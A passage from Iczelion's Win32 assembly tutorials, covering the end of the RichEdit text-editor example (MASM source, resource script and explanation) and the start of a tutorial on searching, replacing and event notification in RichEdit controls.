    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
OptionProc endp

WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL chrg:CHARRANGE
    LOCAL ofn:OPENFILENAME
    LOCAL buffer[256]:BYTE
    LOCAL editstream:EDITSTREAM
    LOCAL hFile:DWORD
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax
        ;=============================================================
        ; Set the text limit. The default is 64K
        ;=============================================================
        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0
        ;=============================================================
        ; Set the default text/background color
        ;=============================================================
        invoke SetColor
        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
        invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0
    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif
        .elseif ax==1	; edit menu
            ;=============================================================================
            ; Check whether there is some text in the clipboard. If so, we enable the paste menuitem
            ;=============================================================================
            invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
            .if eax==0		; no text in the clipboard
                invoke EnableMenuItem,wParam,IDM_PASTE,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_PASTE,MF_ENABLED
            .endif
            ;==========================================================
            ; check whether the undo queue is empty
            ;==========================================================
            invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
            .if eax==0
                invoke EnableMenuItem,wParam,IDM_UNDO,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_UNDO,MF_ENABLED
            .endif
            ;=========================================================
            ; check whether the redo queue is empty
            ;=========================================================
            invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
            .if eax==0
                invoke EnableMenuItem,wParam,IDM_REDO,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_REDO,MF_ENABLED
            .endif
            ;=========================================================
            ; check whether there is a current selection in the richedit control.
            ; If there is, we enable the cut/copy/delete menuitem
            ;=========================================================
            invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
            mov eax,chrg.cpMin
            .if eax==chrg.cpMax		; no current selection
                invoke EnableMenuItem,wParam,IDM_COPY,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CUT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_DELETE,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_COPY,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CUT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_DELETE,MF_ENABLED
            .endif
        .endif
    .elseif uMsg==WM_COMMAND
        .if lParam==0		; menu commands
            mov eax,wParam
            .if ax==IDM_OPEN
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset FileName
                mov byte ptr [FileName],0
                mov ofn.nMaxFile,sizeof FileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetOpenFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax
                        ;================================================================
                        ; stream the text into the richedit control
                        ;================================================================
                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream
                        ;==========================================================
                        ; Initialize the modify state to false
                        ;==========================================================
                        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                        invoke CloseHandle,hFile
                        mov FileOpened,TRUE
                    .else
                        invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                    .endif
                .endif
            .elseif ax==IDM_CLOSE
                invoke CheckModifyState,hWnd
                .if eax==TRUE
                    invoke SetWindowText,hwndRichEdit,0
                    mov FileOpened,FALSE
                .endif
            .elseif ax==IDM_SAVE
                invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                .if eax!=INVALID_HANDLE_VALUE
@@:
                    mov hFile,eax
                    ;================================================================
                    ; stream the text to the file
                    ;================================================================
                    mov editstream.dwCookie,eax
                    mov editstream.pfnCallback,offset StreamOutProc
                    invoke SendMessage,hwndRichEdit,EM_STREAMOUT,SF_TEXT,addr editstream
                    ;==========================================================
                    ; Initialize the modify state to false
                    ;==========================================================
                    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                    invoke CloseHandle,hFile
                .else
                    invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                .endif
            .elseif ax==IDM_COPY
                invoke SendMessage,hwndRichEdit,WM_COPY,0,0
            .elseif ax==IDM_CUT
                invoke SendMessage,hwndRichEdit,WM_CUT,0,0
            .elseif ax==IDM_PASTE
                invoke SendMessage,hwndRichEdit,WM_PASTE,0,0
            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
            .elseif ax==IDM_UNDO
                invoke SendMessage,hwndRichEdit,EM_UNDO,0,0
            .elseif ax==IDM_REDO
                invoke SendMessage,hwndRichEdit,EM_REDO,0,0
            .elseif ax==IDM_OPTION
                invoke DialogBoxParam,hInstance,IDD_OPTIONDLG,hWnd,addr OptionProc,0
            .elseif ax==IDM_SAVEAS
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset AlternateFileName
                mov byte ptr [AlternateFileName],0
                mov ofn.nMaxFile,sizeof AlternateFileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetSaveFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr AlternateFileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        jmp @B
                    .endif
                .endif
            .elseif ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke CheckModifyState,hWnd
        .if eax==TRUE
            invoke DestroyWindow,hWnd
        .endif
    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

;===================================================================
; The resource file
;===================================================================
#include "resource.h"
#define IDR_MAINMENU                    101
#define IDD_OPTIONDLG                   101
#define IDC_BACKCOLORBOX                1000
#define IDC_TEXTCOLORBOX                1001
#define IDM_OPEN                        40001
#define IDM_SAVE                        40002
#define IDM_CLOSE                       40003
#define IDM_SAVEAS                      40004
#define IDM_EXIT                        40005
#define IDM_COPY                        40006
#define IDM_CUT                         40007
#define IDM_PASTE                       40008
#define IDM_DELETE                      40009
#define IDM_SELECTALL                   40010
#define IDM_OPTION                      40011
#define IDM_UNDO                        40012
#define IDM_REDO                        40013

IDR_MAINMENU MENU DISCARDABLE
BEGIN
    POPUP "&File"
    BEGIN
        MENUITEM "&Open",                       IDM_OPEN
        MENUITEM "&Close",                      IDM_CLOSE
        MENUITEM "&Save",                       IDM_SAVE
        MENUITEM "Save &As",                    IDM_SAVEAS
        MENUITEM SEPARATOR
        MENUITEM "E&xit",                       IDM_EXIT
    END
    POPUP "&Edit"
    BEGIN
        MENUITEM "&Undo",                       IDM_UNDO
        MENUITEM "&Redo",                       IDM_REDO
        MENUITEM "&Copy",                       IDM_COPY
        MENUITEM "C&ut",                        IDM_CUT
        MENUITEM "&Paste",                      IDM_PASTE
        MENUITEM SEPARATOR
        MENUITEM "&Delete",                     IDM_DELETE
        MENUITEM SEPARATOR
        MENUITEM "Select &All",                 IDM_SELECTALL
    END
    MENUITEM "Options",                     IDM_OPTION
END

IDD_OPTIONDLG DIALOG DISCARDABLE  0, 0, 183, 54
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU | DS_CENTER
CAPTION "Options"
FONT 8, "MS Sans Serif"
BEGIN
    DEFPUSHBUTTON   "OK",IDOK,137,7,39,14
    PUSHBUTTON      "Cancel",IDCANCEL,137,25,39,14
    GROUPBOX        "",IDC_STATIC,5,0,124,49
    LTEXT           "Background Color:",IDC_STATIC,20,14,60,8
    LTEXT           "",IDC_BACKCOLORBOX,85,11,28,14,SS_NOTIFY | WS_BORDER
    LTEXT           "Text Color:",IDC_STATIC,20,33,35,8
    LTEXT           "",IDC_TEXTCOLORBOX,85,29,28,14,SS_NOTIFY | WS_BORDER
END

Analysis:

The program first loads the richedit dll, which in this case is riched20.dll. If the dll cannot be loaded, it exits to Windows.

invoke LoadLibrary,addr RichEditDLL
.if eax!=0
    mov hRichEdit,eax
    invoke WinMain,hInstance,0,0, SW_SHOWDEFAULT
    invoke FreeLibrary,hRichEdit
.else
    invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
.endif
invoke ExitProcess,eax

After the dll is loaded successfully, we proceed to create a normal window which will be the parent of the richedit control. Within the WM_CREATE handler, we create the richedit control:

        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax

Note that we specify ES_MULTILINE style else the control will be a single-lined one.

        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0

After the richedit control is created, we must set the new text limit on it. By default, the richedit control has 64K text limit, the same as a simple multi-line edit control. We must extend this limit to allow it to operate with larger files. In the above line, I specify -1 which amounts to 0FFFFFFFFh, a very large value.

       invoke SetColor

Next, we set the text/background color. Since this operation can be performed in other part of the program, I put the code in a function named SetColor.

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor

Setting the background color of the richedit control is a straightforward operation: just send EM_SETBKGNDCOLOR message to the richedit control. (If you use a multi-line edit control, you have to process WM_CTLCOLOREDIT). The default background color is white.

    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor

After the background color is set, we fill in the members of CHARFORMAT in order to set the text color. Note that we fill cbSize with the size of the structure so the richedit control knows we are sending it CHARFORMAT, not CHARFORMAT2. dwMask has only one flag, CFM_COLOR, because we only want to set the text color and crTextColor is filled with the value of the desired text color.

    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

After settting the color, you have to empty undo buffer simply because the act of changing text/background color is undo-able. We send EM_EMPTYUNDOBUFFER message to achieve this.

    invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0

After filling the CHARFORMAT structure, we send EM_SETCHARFORMAT to the richedit control, specifying SCF_ALL flag in wParam to indicate that we want the text formatting to be applied to all text in the control.

Note that when we first created the richedit control, we didn't specify its size/position at that time. That's because we want it to cover the whole client area of the parent window. We resize it whenever the size of the parent window changes.

    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE

In the above code snippet, we use the new dimension of the client area passed in lParam to resize the richedit control with MoveWindow.

When the user clicks on the File/Edit menu bar, we process WM_INITPOPUPMENU so that we can prepare the states of the menuitems in the submenu before displaying it to the user. For example, if a file is already opened in the richedit control, we want to disable the open menuitem and enable all the remaining menuitems.

In the case of the File menu bar, we use the variable FileOpened as the flag to determine whether a file is already opened. If the value in this variable is TRUE, we know that a file is already opened.

    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif

As you can see, if a file is already opened, we gray out the open menuitem and enable the remaining menuitems. The reverse is true of FileOpened is false.

In the case of the edit menu bar, we need to check the state of the richedit control/clipboard first.

            invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
            .if eax==0		; no text in the clipboard
                invoke EnableMenuItem,wParam,IDM_PASTE,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_PASTE,MF_ENABLED
            .endif

We first check whether some text is available in the clipboard by sending EM_CANPASTE message. If some text is available, SendMessage returns TRUE and we enable the paste menuitem. If not, we gray out the menuitem.

            invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
            .if eax==0
                invoke EnableMenuItem,wParam,IDM_UNDO,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_UNDO,MF_ENABLED
            .endif

Next, we check whether the undo buffer is empty by sending EM_CANUNDO message. If it's not empty, SendMessage returns TRUE and we enable the undo menuitem.

            invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
            .if eax==0
                invoke EnableMenuItem,wParam,IDM_REDO,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_REDO,MF_ENABLED
            .endif

We check the redo buffer by sending EM_CANREDO message to the richedit control. If it's not empty, SendMessage returns TRUE and we enable the redo menuitem.

            invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
            mov eax,chrg.cpMin
            .if eax==chrg.cpMax		; no current selection
                invoke EnableMenuItem,wParam,IDM_COPY,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CUT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_DELETE,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_COPY,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CUT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_DELETE,MF_ENABLED
            .endif

Lastly, we check whether a current selection exists by sending EM_EXGETSEL message. This message uses a CHARRANGE structure which is defined as follows:

CHARRANGE STRUCT
  cpMin  DWORD      ?
  cpMax  DWORD      ?
CHARRANGE ENDS

cpMin contains the character position index immediately preceding the first character in the range.
cpMax contains the character position immediately following the last character in the range.

After EM_EXGETSEL returns, the CHARRANGE structure is filled with the starting-ending character position indices of the selection range. If there is no current selection, cpMin and cpMax are identical and we gray out the cut/copy/delete menuitems.

When the user clicks the Open menuitem, we display an open file dialog box and if the user selects a file, we open the file and stream its content to the richedit control.

                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax

                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream

After the file is successfully opened with CreateFile, we fill the EDITSTREAM structure in preparation for EM_STREAMIN message. We choose to send the handle to the opened file via dwCookie member and pass the address of the stream callback function in pfnCallback.

The stream callback procedure itself is the essence of simplicity.

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

You can see that all parameters of the stream callback procedure fit perfectly with ReadFile. And the return value of ReadFile is xor-ed with 1 so that if it returns 1 (success), the actual value returned in eax is 0 and vice versa.

    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
    invoke CloseHandle,hFile
    mov FileOpened,TRUE

After EM_STREAMIN returns, it means the stream operation is completed. In reality, we must check the value of dwError member of the EDITSTREAM structure.

Richedit (and edit) control supports a flag to indicate whether its content is modified. We can obtain the value of this flag by sending EM_GETMODIFY message to the control. SendMessage returns TRUE if the content of the control was modified. Since we stream the text into the control, it's a kind of a modification. We must set the modify flag to FALSE by sending EM_SETMODIFY with wParam==FALSE to the control to start anew after the stream-in opertion is finished. We immediately close the file and set FileOpened to TRUE to indicate that a file was opened.

When the user clicks on save/saveas menuitem, we use EM_STREAMOUT message to output the content of the richedit control to a file. As with the streamin callback function, the stream-out callback function is simplicity in itself. It fits perfectly with WriteFile.

The text operations such as cut/copy/paste/redo/undo are easily implemented by sending single message to the richedit control, WM_CUT/WM_COPY/WM_PASTE/WM_REDO/WM_UNDO respectively.

The delete/select all operations are done as follows:

            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg

The delete operation affects the currently selection. I send EM_REPLACESEL message with NULL string so the richedit control will replace the currently selected text with the null string.

The select-all operation is done by sending EM_EXSETSEL message, specifying cpMin==0 and cpMax==-1 which amounts to selecting all the text.

When the user selects Option menu bar, we display a dialog box presenting the current background/text colors.

When the user clicks on one of the color boxes, it displays the choose-color dialog box. The "color box" is in fact a static control with SS_NOTIFY and WS_BORDER flag. A static control with SS_NOTIFY flag will notify its parent window with mouse actions on it, such as BN_CLICKED (STN_CLICKED). That's the trick.

            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif

When the user clicks on one of the color box, we fill the members of the CHOOSECOLOR structure and call ChooseColor to display the choose-color dialog box. If the user selects a color, the colorref value is returned in rgbResult member and we store that value in BackgroundColor variable. After that, we force a repaint on the color box by calling InvalidateRect on the handle to the color box. The color box sends WM_CTLCOLORSTATIC message to its parent window.

        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret

Within the WM_CTLCOLORSTATIC handler, we compare the handle of the static control passed in lParam to that of both the color boxes. If the values match, we create a new brush using the color in the variable and immediately return. The static control will use the newly created brush to paint its background.

[Iczelion's Win32 Assembly Homepage]


Iczelion's Win32 Assembly Tutorial No.34: RichEdit Control: More Text Operations

Tutorial 34: RichEdit Control: More Text Operations

You'll learn more about text operations under RichEdit control. Specifically, you'll know how to search for/replace text, jumping to specific line number.

Download the example.

Theory

Searching for Text

There are several text operations under RichEdit control. Searching for text is one such operation. Searching for text is done by sending EM_FINDTEXT or EM_FINDTEXTEX. These messages has a small difference.

EM_FINDTEXT
wParam == Search options. Can be any combination of the values in the table below.These options are identical for both
            EM_FINDTEXT and EM_FINDTEXTEX
FR_DOWN If this flag is specified, the search starts from the end of the current selection to the end of the text in the control (downward). This flag has effect only for RichEdit 2.0 or later: This behavior is the default for RichEdit 1.0. The default behavior of RichEdit 2.0 or later is to search from the end of the current selection to the beginning of the text (upward).
In summary, if you use RichEdit 1.0, you can't do anything about the search direction: it always searches downward. If you use RichEdit 2.0 and you want to search downward, you must specify this flag else the search would be upward.
FR_MATCHCASE | If this flag is specified, the search is case-sensitive.
FR_WHOLEWORD | If this flag is set, the search finds the whole word that matches the specified search string.
Actually, there are a few more flags but they are relevant to non-English languages.
lParam == pointer to the FINDTEXT structure.

            FINDTEXT STRUCT
              chrg          CHARRANGE  <>
              lpstrText     DWORD      ?
            FINDTEXT ENDS

chrg is a CHARRANGE structure which is defined as follows:

            CHARRANGE STRUCT
              cpMin  DWORD      ?
              cpMax  DWORD      ?
            CHARRANGE ENDS

cpMin contains the character index of the first character in the character array (range).
cpMax contains the character index of the character immediately following the last character in the character array.

In essence, to search for a text string, you have to specify the character range in which to search. The meaning of cpMin
and cpMax differ according to whether the search is downward or upward. If the search is downward, cpMin
specifies the starting character index to search in and cpMax the ending character index. If the search is upward, the
reverse is true, ie. cpMin contains the ending character index while cpMax the starting character index.

lpstrText is the pointer to the text string to search for.

EM_FINDTEXT returns the character index of the first character in the matching text string in the richedit control. It returns -1 if
no match is found.

EM_FINDTEXTEX
wParam == the search options. Same as those of EM_FINDTEXT.
lParam == pointer to the FINDTEXTEX structure.

            FINDTEXTEX STRUCT
              chrg          CHARRANGE  <>
              lpstrText     DWORD      ?
              chrgText	CHARRANGE <>
            FINDTEXTEX ENDS

The first two members of FINDTEXTEX are identical to those of FINDTEXT structure. chrgText is a CHARRANGE structure that will
be filled with the starting/ending characterindices if a match is found.

The return value of EM_FINDTEXTEX is the same as that of EM_FINDTEXT.

The difference between EM_FINDTEXT and EM_FINDTEXTEX is that the FINDTEXTEX structure has an additional member,
chrgText, which will be filled with the starting/ending character indices if a match is found. This is convenient if we want to do
more text operations on the string.

Replace/Insert Text

RichEdit control provides EM_SETTEXTEX for replacing/inserting text. This message combines the functionality of WM_SETTEXT and EM_REPLACESEL. It has the following syntax:

    EM_SETTEXTEX
    wParam == pointer to SETTEXTEX structure.

            SETTEXTEX STRUCT
              flags          DWORD      ?
              codepage       DWORD      ?
            SETTEXTEX ENDS

    flags can be the combination of the following values:
ST_DEFAULT | Deletes the undo stack, discards rich-text formatting, replaces all text.
ST_KEEPUNDO | Keeps the undo stack
ST_SELECTION | Replaces selection and keeps rich-text formatting
    codepage is the constant that specifies the code page you want to text to be. Usually, we simply use CP_ACP.

Text Selection

We can select the text programmatically with EM_SETSEL or EM_EXSETSEL. Either one works fine. Choosing which message to use depends on the available format of the character indices. If they are already stored in a CHARRANGE structure, it's easier to use EM_EXSETSEL.

    EM_EXSETSEL
    wParam == not used. Must be 0
    lParam == pointer to a CHARRANGE structure that contains the character range to be selected.

Event Notification

In the case of a multiline edit control, you have to subclass it in order to obtain the input messages such as mouse/keyboard events. RichEdit control provides a better scheme that will notify the parent window of such events. In order to register for notifications, the parent window sends EM_SETEVENTMASK message to the RichEdit control, specifying which events it's interested in. EM_SETEVENTMASK has the following syntax:

    EM_SETEVENTMASK
    wParam == not used. Must be 0
    lParam == event mask value. It can be the combination of the flags in the table below.
ENM_CHANGE | Sends EN_CHANGE notifications
ENM_CORRECTTEXT | Sends EN_CORRECTTEXT notifications
ENM_DRAGDROPDONE | Sends EN_DRAGDROPDONE notifications
ENM_DROPFILES | Sends EN_DROPFILES notifications.
ENM_KEYEVENTS | Sends EN_MSGFILTER notifications for keyboard events
ENM_LINK | Rich Edit 2.0 and later: Sends EN_LINK notifications when the mouse pointer is over text that has the CFE_LINK and one of several mouse actions is performed.
ENM_MOUSEEVENTS | Sends EN_MSGFILTER notifications for mouse events
ENM_OBJECTPOSITIONS | Sends EN_OBJECTPOSITIONS notifications
ENM_PROTECTED | Sends EN_PROTECTED notifications
ENM_REQUESTRESIZE | Sends EN_REQUESTRESIZE notifications
ENM_SCROLL | Sends EN_HSCROLL and EN_VSCROLL notifications
ENM_SCROLLEVENTS | Sends EN_MSGFILTER notifications for mouse wheel events
ENM_SELCHANGE | Sends EN_SELCHANGE notifications
ENM_UPDATE | Sends EN_UPDATE notifications. Rich Edit 2.0 and later: this flag is ignored and the EN_UPDATE notifications are always sent. However, if Rich Edit 3.0 emulates Rich Edit 1.0, you must use this flag to send EN_UPDATE notifications

All the above notifications will be sent as WM_NOTIFY message: you have to check the code member of NMHDR structure for the notification message. For example, if you want to register for mouse events (eg. you want to provide a context sensitive popup menu), you must do something like this:

    invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
    .....
    .....
    WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .....
    ....
        .elseif uMsg==WM_NOTIFY
            push esi
            mov esi,lParam
            assume esi:ptr NMHDR
            .if [esi].code==EN_MSGFILTER
                ....
                [ do something here]
                ....
            .endif
            pop esi

Example:

The following example is the update of IczEdit in tutorial no. 33. It adds search/replace functionality and accelerator keys to the program. It also processes the mouse events and provides a popup menu on right mouse click.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU                   equ 101
IDM_OPEN                      equ  40001
IDM_SAVE                       equ 40002
IDM_CLOSE                      equ 40003
IDM_SAVEAS                     equ 40004
IDM_EXIT                       equ 40005
IDM_COPY                      equ  40006
IDM_CUT                       equ  40007
IDM_PASTE                      equ 40008
IDM_DELETE                     equ 40009
IDM_SELECTALL                  equ 40010
IDM_OPTION 			equ 40011
IDM_UNDO			equ 40012
IDM_REDO			equ 40013
IDD_OPTIONDLG                  equ 101
IDC_BACKCOLORBOX               equ 1000
IDC_TEXTCOLORBOX               equ 1001
IDR_MAINACCEL                 equ  105
IDD_FINDDLG                    equ 102
IDD_GOTODLG                    equ 103
IDD_REPLACEDLG                 equ 104
IDC_FINDEDIT                  equ  1000
IDC_MATCHCASE                  equ 1001
IDC_REPLACEEDIT                 equ 1001
IDC_WHOLEWORD                  equ 1002
IDC_DOWN                       equ 1003
IDC_UP                       equ   1004
IDC_LINENO                   equ   1005
IDM_FIND                       equ 40014
IDM_FINDNEXT                  equ  40015
IDM_REPLACE                     equ 40016
IDM_GOTOLINE                   equ 40017
IDM_FINDPREV                  equ  40018
RichEditID 			equ 300

.data
ClassName db "IczEditClass",0
AppName  db "IczEdit version 2.0",0
RichEditDLL db "riched20.dll",0
RichEditClass db "RichEdit20A",0
NoRichEdit db "Cannot find riched20.dll",0
ASMFilterString 		db "ASM Source code (*.asm)",0,"*.asm",0
                db "All Files (*.*)",0,"*.*",0,0
OpenFileFail db "Cannot open the file",0
WannaSave db "The data in the control is modified. Want to save it?",0
FileOpened dd FALSE
BackgroundColor dd 0FFFFFFh		; default to white
TextColor dd 0		; default to black
hSearch dd ?		; handle to the search/replace dialog box
hAccel dd ?

.data?
hInstance dd ?
hRichEdit dd ?
hwndRichEdit dd ?
FileName db 256 dup(?)
AlternateFileName db 256 dup(?)
CustomColors dd 16 dup(?)
FindBuffer db 256 dup(?)
ReplaceBuffer db 256 dup(?)
uFlags dd ?
findtext FINDTEXTEX <>

.code
start:
    mov byte ptr [FindBuffer],0
    mov byte ptr [ReplaceBuffer],0
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke LoadLibrary,addr RichEditDLL
    .if eax!=0
        mov hRichEdit,eax
        invoke WinMain, hInstance,0,0, SW_SHOWDEFAULT
        invoke FreeLibrary,hRichEdit
    .else
        invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
    .endif
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:DWORD
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
